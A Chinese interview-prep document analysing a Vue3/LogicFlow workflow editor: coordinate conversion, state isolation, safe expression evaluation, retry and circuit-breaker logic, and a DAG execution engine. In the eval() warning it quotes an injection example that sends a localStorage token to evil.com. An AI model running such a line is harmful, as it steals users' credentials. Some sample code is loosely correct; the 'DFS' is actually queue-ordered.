本文档从技术角度深入分析项目的难点、解决方案和亮点,帮助你在面试中展现技术深度。
一、核心技术难点
难点1:LogicFlow 2.0自定义节点注册失败
问题描述
在集成LogicFlow时,按照官方文档尝试继承基类创建自定义节点,始终报错:
TypeError: Class extends value undefined is not a constructor or null
根因分析
表面原因:
- LogicFlow 2.0的API与1.0完全不同
- 官方文档未及时更新,示例代码仍是1.0风格
- 基类获取方式发生变化
深层原因:
// 1.0写法(官方文档示例)
class CustomNode extends lf.CircleNode {
// ...
}
// 问题:lf.CircleNode在2.0中不存在
// 2.0的节点基类不是挂在lf实例上的
源码分析: 通过查看LogicFlow 2.0源码发现:
- 节点类不再直接暴露给实例
- 改为通过注册机制管理节点类型
- 内部使用了不同的类继承结构
解决方案演进
方案1:修改引入方式(失败)
import { CircleNode, CircleNodeModel } from '@logicflow/core'
// 尝试直接引入基类,但打包后找不到这些导出
失败原因:LogicFlow 2.0没有直接导出这些基类
方案2:从实例获取(失败)
const lf = new LogicFlow(...)
console.log(lf.CircleNode) // undefined
失败原因:基类不再挂载在实例上
方案3:类型映射(成功)****✅ 既然无法自定义节点类,那就用内置节点类型+元数据的方式:
// 业务节点类型映射到LogicFlow内置类型
const typeMap = {
'start': 'circle', // 开始节点用圆形
'end': 'circle', // 结束节点用圆形
'agent': 'rect', // Agent用矩形
'condition': 'diamond' // 条件用菱形
}
// 在properties中存储真实业务类型
const nodeConfig = {
type: 'circle', // LogicFlow类型
properties: {
customType: 'start' // 业务类型
}
}
// 业务层根据customType判断行为
const nodeType = node.properties?.customType || node.type
技术收获
设计模式应用:
- 适配器模式:将业务需求适配到LogicFlow的能力边界
- 策略模式:根据customType决定节点行为
工程思维:
- 遇到技术障碍时,换个角度思考
- 不要过度依赖官方文档,要学会看源码
- 抽象业务模型和技术实现,解耦合
可复用经验: 这个方案不仅解决了当前问题,还提供了很好的扩展性:
- 新增节点类型只需添加映射关系
- 不依赖LogicFlow的版本更新
- 方便未来切换到其他流程图库
难点2:拖拽节点定位不准确
问题描述
从左侧面板拖拽节点到画布时,节点总是出现在左上角(0,0)位置,而不是鼠标释放的位置。
问题分析
坐标系统: 浏览器有三个坐标系:
- 屏幕坐标(screen):相对于显示器左上角
- 视口坐标(client):相对于浏览器窗口左上角
- 页面坐标(page):相对于整个文档左上角
LogicFlow画布有自己的坐标系: 4. 画布坐标(canvas):考虑了缩放和平移
核心问题:
// 错误做法
function handleDrop(event) {
const nodeConfig = {
x: event.clientX, // ❌ 直接用浏览器坐标
y: event.clientY
}
}
// 问题:
// 1. clientX/Y是相对于浏览器窗口的
// 2. 画布可能有偏移(工具栏、侧边栏)
// 3. 画布可能被缩放或平移
解决方案
正确做法:
function handleDrop(event) {
event.preventDefault()
// 使用LogicFlow提供的坐标转换方法
const point = lf.getPointByClient(event.clientX, event.clientY)
const nodeConfig = {
x: point.x, // ✅ 画布坐标
y: point.y
}
lf.addNode(nodeConfig)
}
getPointByClient内部实现原理:
// LogicFlow源码简化版
getPointByClient(clientX, clientY) {
const canvasRect = this.container.getBoundingClientRect()
// 1. 转换为画布容器坐标
let x = clientX - canvasRect.left
let y = clientY - canvasRect.top
// 2. 考虑缩放
x = x / this.zoom
y = y / this.zoom
// 3. 考虑平移
x = x - this.translateX
y = y - this.translateY
return { x, y }
}
深入理解
为什么需要这么复杂?
场景1:画布被缩放
用户视图 实际坐标
[100,100] -> zoom=2 -> [50,50]
场景2:画布被平移
translate(100,0)后
视觉位置[200,100] -> 实际坐标[100,100]
场景3:组合变换
clientXY -> 减去容器偏移 -> 除以缩放 -> 减去平移 -> 画布坐标
调试技巧:
function handleDrop(event) {
console.log('Client:', event.clientX, event.clientY)
console.log('Canvas:', point.x, point.y)
console.log('Zoom:', lf.getTransform().zoom)
console.log('Translate:', lf.getTransform().translate)
}
扩展思考
如果换Canvas实现:
// Canvas的坐标转换
canvas.addEventListener('click', (e) => {
const rect = canvas.getBoundingClientRect()
const x = (e.clientX - rect.left) * (canvas.width / rect.width)
const y = (e.clientY - rect.top) * (canvas.height / rect.height)
})
如果是触摸事件:
// 移动端需要考虑touches
const touch = event.touches[0]
const point = lf.getPointByClient(touch.clientX, touch.clientY)
难点3:编辑态和运行态状态隔离
问题描述
场景:
- 用户设计好工作流,保存
- 切换到调试模式运行
- 运行过程中可能想调整参数
- 调试结束后,原始设计不应该被修改
初期实现的问题:
// 错误做法
const graphData = ref({
nodes: [...],
edges: [...]
})
// 编辑和运行共用同一个对象
// 运行时修改了graphData,保存的数据也变了
解决方案
方案1:深拷贝
// workflowStore.js
function startExecution() {
// 保存快照
this.savedGraphData = JSON.parse(JSON.stringify(this.graphData))
// 运行时操作graphData
this.isRunning = true
}
function stopExecution() {
// 恢复快照
this.graphData = JSON.parse(JSON.stringify(this.savedGraphData))
this.isRunning = false
}
优点:
- 简单直接
- 完全隔离
缺点:
- JSON序列化有限制(函数、undefined会丢失)
- 大数据量时性能差
- 深拷贝开销大
方案2:分离状态
// workflowStore.js
const state = reactive({
// 编辑态数据
editData: {
nodes: [],
edges: []
},
// 运行态数据
runtimeData: {
nodes: [],
edges: [],
context: {}
},
mode: 'edit' // 'edit' | 'debug'
})
// 切换模式时同步数据
function setMode(newMode) {
if (newMode === 'debug') {
state.runtimeData = cloneDeep(state.editData)
}
state.mode = newMode
}
优点:
- 状态明确分离
- 可以保留运行历史
- 方便实现撤销/重做
缺点:
- 内存占用翻倍
- 状态同步逻辑复杂
最终方案:混合
// 结合两种方案的优点
const state = reactive({
graphData: {}, // 主数据
mode: 'edit'
})
const runtimeSnapshot = ref(null)
function startExecution() {
// 运行前创建快照
runtimeSnapshot.value = JSON.parse(JSON.stringify(state.graphData))
state.mode = 'debug'
}
function stopExecution() {
// 运行结束询问是否保存修改
if (hasRuntimeChanges()) {
if (confirm('是否保存调试时的修改?')) {
// 保存修改
} else {
// 恢复快照
state.graphData = runtimeSnapshot.value
}
}
runtimeSnapshot.value = null
state.mode = 'edit'
}
深入思考
状态机设计:
[编辑态] --开始运行--> [运行态] --停止--> [编辑态]
↓ ↓
保存 暂停
↓ ↓
[已保存] <--恢复-- [已暂停]
Vue响应式陷阱:
// ❌ 错误:直接替换会丢失响应式
state.graphData = newData
// ✅ 正确:保持引用
Object.assign(state.graphData, newData)
// 或
state.graphData.nodes = newData.nodes
state.graphData.edges = newData.edges
性能优化:
// 大数据量时用Web Worker做深拷贝
const worker = new Worker('clone-worker.js')
worker.postMessage(graphData)
worker.onmessage = (e) => {
runtimeSnapshot.value = e.data
}
难点4:条件分支的表达式求值
问题描述
条件节点需要根据表达式决定走哪个分支,如何安全地执行用户输入的表达式?
安全性风险
不安全的做法:
// ❌ 极度危险
function evaluateExpression(expression, context) {
return eval(expression) // 代码注入风险!
}
// 用户可以输入:
// "alert('hacked')"
// "fetch('http://evil.com?data=' + localStorage.getItem('token'))"
解决方案演进
方案1:Function构造函数(不安全)
const func = new Function('context', `return ${expression}`)
return func(context)
// 仍然有风险,可以访问全局对象
方案2:简单解析器(当前方案)
function evaluateExpression(expression, context) {
// 只支持简单的比较运算
if (!expression) return true
// 支持的操作符
const operators = ['>', '<', '>=', '<=', '==', '!=']
for (const op of operators) {
if (expression.includes(op)) {
const [left, right] = expression.split(op).map(s => s.trim())
// 从context获取值
const leftValue = getValue(context, left)
const rightValue = parseValue(right)
// 执行比较
switch(op) {
case '>': return leftValue > rightValue
case '<': return leftValue < rightValue
case '>=': return leftValue >= rightValue
case '<=': return leftValue <= rightValue
case '==': return leftValue == rightValue
case '!=': return leftValue != rightValue
}
}
}
return true
}
function getValue(context, path) {
// 支持点号路径: "user.age"
return path.split('.').reduce((obj, key) => obj?.[key], context)
}
function parseValue(str) {
// 尝试解析为数字
const num = Number(str)
if (!isNaN(num)) return num
// 去除引号的字符串
return str.replace(/^['"]|['"]$/g, '')
}
使用示例:
const context = {
score: 8.5,
user: {
age: 25,
name: 'Alice'
}
}
evaluateExpression('score > 7', context) // true
evaluateExpression('user.age >= 18', context) // true
evaluateExpression('user.name == "Alice"', context) // true
方案3:使用现成的安全库(生产环境推荐)
import { create, all } from 'mathjs'
const math = create(all)
// 限制可用函数
const limitedMath = math.create({
...math,
import: undefined, // 禁用import
createUnit: undefined // 禁用危险函数
})
function evaluateExpression(expression, context) {
try {
return limitedMath.evaluate(expression, context)
} catch (error) {
console.error('Expression evaluation error:', error)
return false
}
}
扩展功能
支持逻辑运算:
// score > 7 && user.age >= 18
// score > 9 || user.vip == true
支持函数调用:
// 白名单函数
const allowedFunctions = {
len: (arr) => arr.length,
contains: (arr, item) => arr.includes(item),
max: (...nums) => Math.max(...nums)
}
// len(items) > 10
// contains(tags, "important")
表达式构建器UI:
<div class="expression-builder">
<select v-model="field">
<option>score</option>
<option>user.age</option>
</select>
<select v-model="operator">
<option>></option>
<option><</option>
<option>==</option>
</select>
<input v-model="value" type="number">
<!-- 生成: score > 7 -->
</div>
难点5:异步Agent调用的错误处理
问题场景
多种失败情况:
- API Key无效
- 网络超时
- 请求限流(429)
- 服务器错误(500)
- 余额不足
- 响应格式错误
错误处理策略
策略1:降级到模拟模式
async executeLLM() {
try {
// 尝试真实调用
if (this.config.apiKey) {
return await this.callRealAPI()
}
} catch (error) {
// 失败后降级
console.warn('API调用失败,切换到模拟模式:', error)
}
// 返回模拟数据
return {
success: true,
simulated: true,
output: '模拟的LLM响应'
}
}
策略2:重试机制
async callWithRetry(fn, maxRetries = 3) {
let lastError
for (let i = 0; i < maxRetries; i++) {
try {
return await fn()
} catch (error) {
lastError = error
// 判断是否应该重试
if (!shouldRetry(error)) {
throw error
}
// 指数退避
const delay = Math.pow(2, i) * 1000
await this.sleep(delay)
console.log(`重试 ${i + 1}/${maxRetries}...`)
}
}
throw lastError
}
function shouldRetry(error) {
// 网络错误、超时、429限流 应该重试
// 401认证失败、400参数错误 不应该重试
const retryableCodes = [429, 500, 502, 503, 504]
return retryableCodes.includes(error.status)
}
策略3:熔断器模式
class CircuitBreaker {
constructor(threshold = 5, timeout = 60000) {
this.failureCount = 0
this.threshold = threshold
this.timeout = timeout
this.state = 'CLOSED' // CLOSED | OPEN | HALF_OPEN
this.nextAttempt = Date.now()
}
async call(fn) {
if (this.state === 'OPEN') {
if (Date.now() < this.nextAttempt) {
throw new Error('熔断器打开,暂时不可用')
}
this.state = 'HALF_OPEN'
}
try {
const result = await fn()
this.onSuccess()
return result
} catch (error) {
this.onFailure()
throw error
}
}
onSuccess() {
this.failureCount = 0
this.state = 'CLOSED'
}
onFailure() {
this.failureCount++
if (this.failureCount >= this.threshold) {
this.state = 'OPEN'
this.nextAttempt = Date.now() + this.timeout
}
}
}
// 使用
const breaker = new CircuitBreaker()
const result = await breaker.call(() => callAPI())
策略4:超时控制
async function callWithTimeout(fn, timeout = 30000) {
return Promise.race([
fn(),
new Promise((_, reject) =>
setTimeout(() => reject(new Error('请求超时')), timeout)
)
])
}
// 使用
const result = await callWithTimeout(
() => fetch(url),
10000 // 10秒超时
)
综合方案:
async executeLLM() {
const breaker = this.getCircuitBreaker()
try {
return await breaker.call(async () => {
return await callWithTimeout(
async () => {
return await callWithRetry(
() => this.callRealAPI(),
3 // 最多重试3次
)
},
30000 // 30秒超时
)
})
} catch (error) {
// 记录错误
this.logError(error)
// 降级到模拟模式
return this.getFallbackResponse()
}
}
二、技术亮点与创新
亮点1:灵活的Agent执行器架构
设计理念
将Agent抽象为统一接口,支持多种类型的扩展。
核心实现
接口设计:
class AgentExecutor {
constructor(node, context) {
this.node = node
this.context = context
this.config = node.properties
}
// 统一的执行接口
async execute() {
const type = this.config.agentType
// 策略模式分发
const handler = this.getHandler(type)
return await handler.call(this)
}
getHandler(type) {
const handlers = {
'llm': this.executeLLM,
'http': this.executeHTTP,
'video-download': this.executeVideoDownload,
'data-processor': this.executeDataProcessor,
'custom': this.executeCustom
}
return handlers[type] || handlers['custom']
}
}
扩展性:
// 新增Agent类型只需3步
// 1. 注册类型
nodeStore.nodeTypes.push({
type: 'agent',
label: '邮件发送',
icon: '📧',
config: {
agentType: 'email',
to: '',
subject: '',
body: ''
}
})
// 2. 添加执行逻辑
AgentExecutor.prototype.executeEmail = async function() {
const { to, subject, body } = this.config
// 调用邮件API
return { success: true, output: 'Email sent' }
}
// 3. 添加UI配置
// 在PropertiesPanel添加表单
模拟与真实无缝切换:
async executeLLM() {
// 策略1:无API Key -> 模拟模式
if (!this.config.apiKey) {
return this.simulateLLM()
}
// 策略2:API失败 -> 降级到模拟
try {
return await this.callRealLLM()
} catch (error) {
return this.simulateLLM()
}
}
simulateLLM() {
return {
success: true,
simulated: true,
output: `[模拟响应] ${this.config.prompt}的回答...`,
usage: { tokens: 0 }
}
}
技术价值
- 解耦合:Agent实现和工作流引擎分离
- 可测试:模拟模式方便单元测试
- 可扩展:新增类型不影响现有代码
- 用户友好:不需要API Key也能体验
亮点2:工作流引擎的DAG遍历算法
核心算法
基于栈的DFS遍历:
async execute() {
const startNode = this.findStartNode()
this.executionStack = [startNode]
this.visited = new Set()
while (this.executionStack.length > 0) {
const node = this.executionStack.shift()
// 防止循环
if (this.visited.has(node.id)) {
throw new Error('检测到循环依赖')
}
this.visited.add(node.id)
// 执行节点
const result = await this.executeNode(node)
if (result.finished) break
if (result.paused) return
// 获取下一批节点
const nextNodes = this.getNextNodes(node, result)
this.executionStack.push(...nextNodes)
}
}
条件分支处理:
getNextNodes(node, result) {
const outEdges = this.findOutgoingEdges(node.id)
if (node.type === 'condition') {
// 根据result.branch选择分支
return outEdges
.filter(edge => edge.properties?.condition === result.branch)
.map(edge => this.findNode(edge.targetNodeId))
}
if (node.type === 'parallel') {
// 并行网关:所有分支都执行
return outEdges.map(edge => this.findNode(edge.targetNodeId))
}
// 普通节点:按顺序执行
return outEdges.map(edge => this.findNode(edge.targetNodeId))
}
Context管理:
class ExecutionContext {
constructor() {
this.data = {}
this.history = []
}
set(key, value) {
this.data[key] = value
this.history.push({ key, value, timestamp: Date.now() })
}
get(key) {
return this.data[key]
}
getLastOutput() {
return this.data.lastOutput
}
// 支持回溯
rollback(timestamp) {
this.history = this.history.filter(h => h.timestamp <= timestamp)
this.data = this.history.reduce((acc, h) => {
acc[h.key] = h.value
return acc
}, {})
}
}
性能优化
懒加载执行:
// 不是一次性加载所有节点,而是执行到才加载
async executeNode(node) {
if (!node.loaded) {
node = await this.loadNodeConfig(node.id)
}
// ...
}
并行优化:
// 并行节点真正并行执行
if (node.type === 'parallel') {
const nextNodes = this.getNextNodes(node)
const results = await Promise.all(
nextNodes.map(n => this.executeNode(n))
)
return this.mergeResults(results)
}
亮点3:调试系统的实现
断点机制
数据结构:
// workflowStore.js
const breakpoints = ref([
'node-1', // 在node-1设置了断点
'node-5' // 在node-5设置了断点
])
执行检测:
async executeNode(node) {
// 执行前检查断点
if (this.breakpoints.includes(node.id)) {
this.isPaused = true
this.pausedAt = node
// 通知UI
this.onPause(node)
// 返回暂停状态
return { paused: true, node }
}
// 正常执行
return await this.doExecute(node)
}
单步执行
async stepOver() {
if (this.executionStack.length === 0) {
return { finished: true }
}
// 执行一个节点
const node = this.executionStack.shift()
const result = await this.executeNode(node)
// 不继续执行,返回控制权给用户
if (!result.finished) {
const nextNodes = this.getNextNodes(node, result)
this.executionStack.push(...nextNodes)
}
return {
current: node,
next: this.executionStack[0],
finished: result.finished
}
}
日志系统
日志结构:
const logEntry = {
id: generateId(),
type: 'info' | 'success' | 'error' | 'warning',
timestamp: new Date().toISOString(),
nodeId: 'node-1',
nodeName: 'LLM分析',
message: '节点执行成功',
data: {
input: {...},
output: {...},
duration: 1230 // ms
}
}
性能优化:
// 虚拟滚动,只渲染可见日志
const visibleLogs = computed(() => {
const startIndex = Math.floor(scrollTop / itemHeight)
const endIndex = startIndex + visibleCount
return executionLog.slice(startIndex, endIndex)
})
三、架构设计思考
为什么选择Vue3而不是React?
Vue3的优势(项目中体现)
1. 响应式系统简单直观
// Vue3 - 自动追踪依赖
const count = ref(0)
const double = computed(() => count.value * 2)
// React - 需要手动管理依赖
const [count, setCount] = useState(0)
const double = useMemo(() => count * 2, [count])
2. 模板语法更适合快速开发
<!-- Vue3 - 声明式 -->
<div v-if="isRunning" class="indicator">
正在执行...
</div>
<!-- React - 需要JSX表达式 -->
{isRunning && (
<div className="indicator">
正在执行...
</div>
)}
3. 双向绑定减少样板代码
<!-- Vue3 -->
<input v-model="nodeProperties.prompt" />
<!-- React -->
<input
value={prompt}
onChange={(e) => setPrompt(e.target.value)}
/>
如果用React会怎样?
需要重写的部分:
- 所有的ref改成useState
- 所有的computed改成useMemo
- 所有的watch改成useEffect
- Props传递需要更小心
优势:
- TypeScript支持更好
- 生态更丰富
- 更容易做SSR
结论: 对于这个项目,Vue3更合适,因为:
- 状态管理复杂,响应式系统省心
- 大量的表单,v-model很方便
- 不需要SSR
- 个人更熟悉Vue
为什么选择Pinia而不是Vuex?
已在面试SOP中详细说明,这里补充技术细节。
Pinia的类型推导:
// 自动推导类型,IDE支持很好
const store = useWorkflowStore()
store.workflows // ✅ 自动补全
store.saveWorkflow() // ✅ 参数提示
模块化更自然:
// Pinia - 每个store就是一个模块
export const useWorkflowStore = defineStore('workflow', ...)
export const useNodeStore = defineStore('node', ...)
// Vuex - 需要注册modules
modules: {
workflow: workflowModule,
node: nodeModule
}
四、可以深挖的技术点
深挖点1:Vue3 Composition API的设计思想
为什么引入Composition API?
问题:Options API的局限
export default {
data() {
return {
user: null,
posts: [],
loading: false
}
},
methods: {
fetchUser() {},
fetchPosts() {},
// 相关逻辑分散在不同option中
},
mounted() {
this.fetchUser()
this.fetchPosts()
}
}
解决:Composition API按功能组织
export default {
setup() {
// 用户相关逻辑聚合在一起
const { user, fetchUser } = useUser()
// 文章相关逻辑聚合在一起
const { posts, fetchPosts } = usePosts()
onMounted(() => {
fetchUser()
fetchPosts()
})
return { user, posts }
}
}
项目中的应用:
// Canvas.vue
function useCanvasOperation(lf) {
const zoom = ref(1)
function zoomIn() {
zoom.value = Math.min(zoom.value + 0.1, 2)
lf.zoom(zoom.value)
}
function zoomOut() {
zoom.value = Math.max(zoom.value - 0.1, 0.5)
lf.zoom(zoom.value)
}
return { zoom, zoomIn, zoomOut }
}
function useNodeDrag(lf) {
function handleDrop(event) {
// 拖拽逻辑
}
return { handleDrop }
}
// 在组件中组合使用
setup() {
const lf = initLogicFlow()
const { zoom, zoomIn, zoomOut } = useCanvasOperation(lf)
const { handleDrop } = useNodeDrag(lf)
return { zoom, zoomIn, zoomOut, handleDrop }
}
深挖点2:如何实现撤销/重做功能
命令模式:
class Command {
execute() {}
undo() {}
}
class AddNodeCommand extends Command {
constructor(lf, nodeConfig) {
super()
this.lf = lf
this.nodeConfig = nodeConfig
this.nodeId = null
}
execute() {
this.nodeId = this.lf.addNode(this.nodeConfig)
}
undo() {
this.lf.deleteNode(this.nodeId)
}
}
class CommandManager {
constructor() {
this.history = []
this.current = -1
}
execute(command) {
command.execute()
// 清除current之后的历史
this.history = this.history.slice(0, this.current + 1)
this.history.push(command)
this.current++
}
undo() {
if (this.current >= 0) {
this.history[this.current].undo()
this.current--
}
}
redo() {
if (this.current < this.history.length - 1) {
this.current++
this.history[this.current].execute()
}
}
}
深挖点3:如何实现工作流的版本管理
数据结构:
const workflow = {
id: 'workflow-1',
name: '视频处理流程',
versions: [
{
version: 1,
createdAt: '2024-01-01',
graphData: {...},
changelog: '初始版本'
},
{
version: 2,
createdAt: '2024-01-02',
graphData: {...},
changelog: '添加了视频下载节点'
}
],
currentVersion: 2
}
Diff算法:
function diffWorkflow(v1, v2) {
return {
added: v2.nodes.filter(n => !v1.nodes.find(n1 => n1.id === n.id)),
removed: v1.nodes.filter(n => !v2.nodes.find(n2 => n2.id === n.id)),
modified: v2.nodes.filter(n => {
const old = v1.nodes.find(n1 => n1.id === n.id)
return old && JSON.stringify(old) !== JSON.stringify(n)
})
}
}
五、总结
技术栈掌握程度自评
| 技术 | 掌握程度 | 说明 |
|---|---|---|
| Vue3 | ⭐⭐⭐⭐ | 能熟练使用Composition API,理解响应式原理 |
| Pinia | ⭐⭐⭐⭐ | 能设计合理的store结构,理解状态管理最佳实践 |
| LogicFlow | ⭐⭐⭐ | 能集成使用,解决了自定义节点问题,但对源码理解有限 |
| 工作流引擎 | ⭐⭐⭐⭐ | 自己实现了完整引擎,理解DAG遍历算法 |
| 工程化 | ⭐⭐⭐ | 能配置Vite、ESLint,但对构建优化了解不深 |
可以继续深入的方向
- 性能优化
- 虚拟滚动
- Web Worker
- Canvas渲染
- 测试
- 单元测试
- E2E测试
- 性能测试
- 后端集成
- RESTful API设计
- WebSocket实时通信
- 数据库设计
- DevOps
- Docker部署
- CI/CD流程
- 监控告警